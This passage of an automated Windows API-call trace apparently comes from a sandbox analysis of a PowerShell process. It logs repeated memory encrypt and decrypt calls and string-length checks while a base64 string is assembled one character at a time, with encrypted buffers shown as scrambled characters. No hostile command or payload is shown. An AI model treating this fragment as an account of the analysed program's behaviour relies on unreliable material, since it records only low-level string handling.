OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0251.252] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0KesmyiLVm湭暡\\\⋒) returned 0x30 [0251.252] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0251.252] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ谾졖蔑덞ꕖ魮켖鬟ﻦ㑕庢혇Ի８䭤∼) returned 0x30 [0251.252] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ谾졖蔑덞ꕖ魮켖鬟ﻦ㑕庢혇Ի８䭤∼) returned 0x30 [0251.252] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0251.252] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0KesmyiLVmv暡\\\⋒) returned 0x30 [0251.252] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0251.252] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ谾졖蔑덞ꕖ魮켖伟纶滄䠒宮釣闑꽾∟) returned 0x30 [0251.252] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ谾졖蔑덞ꕖ魮켖伟纶滄䠒宮釣闑꽾∟) returned 0x30 [0251.252] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0251.252] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0KesmyiLVmvo\\\⋒) returned 0x30 [0251.253] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0251.253] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ谾졖蔑덞ꕖ魮켖ğƍ柜圹捰ᖭᔶ\蟙") returned 0x30 [0251.253] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ谾졖蔑덞ꕖ魮켖ğƍ柜圹捰ᖭᔶ\蟙") returned 0x30 [0251.253] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0251.253] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0KesmyiLVmvo=\\\⋒) returned 0x30 [0251.253] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0251.253] EtwEventActivityIdControl () returned 0x0 [0251.253] EtwEventActivityIdControl () returned 0x0 [0251.253] EtwEventActivityIdControl () returned 0x0 [0251.254] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.255] EtwEventActivityIdControl () returned 0x0 [0251.255] EtwEventActivityIdControl () returned 0x0 [0251.255] EtwEventActivityIdControl () returned 0x0 [0251.256] SysStringLen (param_1="") returned 0x8 [0251.256] SysStringLen (param_1="N") returned 0x8 [0251.256] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.256] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0251.256] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0251.256] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.256] SysStringLen (param_1="ND") returned 0x8 [0251.257] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.257] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0251.257] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0251.257] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.257] SysStringLen (param_1="NDZ") returned 0x8 [0251.257] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.257] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0251.257] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0251.257] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.257] SysStringLen (param_1="NDZl") returned 0x8 [0251.258] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.258] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0251.258] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0251.258] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.258] SysStringLen (param_1="NDZlO") returned 0x8 [0251.258] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.258] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0251.258] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0251.258] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.259] SysStringLen (param_1="NDZlOD") returned 0x8 [0251.260] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.261] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0251.261] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0251.261] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.261] SysStringLen (param_1="NDZlODR") returned 0x8 [0251.261] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.261] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0251.261] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0251.261] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.261] SysStringLen (param_1="NDZlODRm") returned 0x8 [0251.261] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.262] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0251.262] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0251.262] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0251.263] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0251.263] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.263] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0251.263] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.263] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0251.263] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0251.263] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.263] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0251.263] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.264] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0251.264] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0251.264] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.264] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0251.264] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.264] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0251.264] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0251.264] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.264] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0251.264] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.265] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0251.265] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0251.265] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.265] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0251.265] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.265] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0251.265] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0251.265] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.265] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0251.265] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.266] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0251.266] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0251.266] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.266] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0251.266] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.266] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0251.266] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0251.266] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.266] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0251.266] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.267] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0251.267] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0251.267] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0251.267] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0251.267] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.268] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0251.268] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.268] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0251.268] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0251.268] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.268] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0251.268] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.268] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0251.268] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0251.268] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.269] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0251.269] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.269] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0251.269] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0251.269] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.269] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0251.269] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.269] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0251.269] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0251.270] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.270] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0251.270] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.270] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0251.270] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0251.270] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.270] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0251.270] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.270] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0251.270] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0251.271] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.271] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0251.271] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.271] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0251.271] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0251.271] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.271] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0251.271] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.271] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0251.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0251.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0251.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0251.272] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.272] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0251.272] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0251.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0251.273] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.273] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0251.273] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0251.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0251.273] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.273] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0251.273] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0251.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0251.274] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.274] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0251.274] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0251.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0251.275] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.275] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0251.275] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0251.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0251.275] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.275] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0251.277] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0251.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0251.277] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.277] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0251.277] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0251.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0251.278] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.278] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0251.278] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0251.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0251.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0251.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0251.279] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.279] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0251.279] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0251.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0251.279] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.280] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0251.280] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0251.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0251.280] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.280] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0251.280] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0251.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0251.281] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.281] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0251.281] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.281] SysStringLen 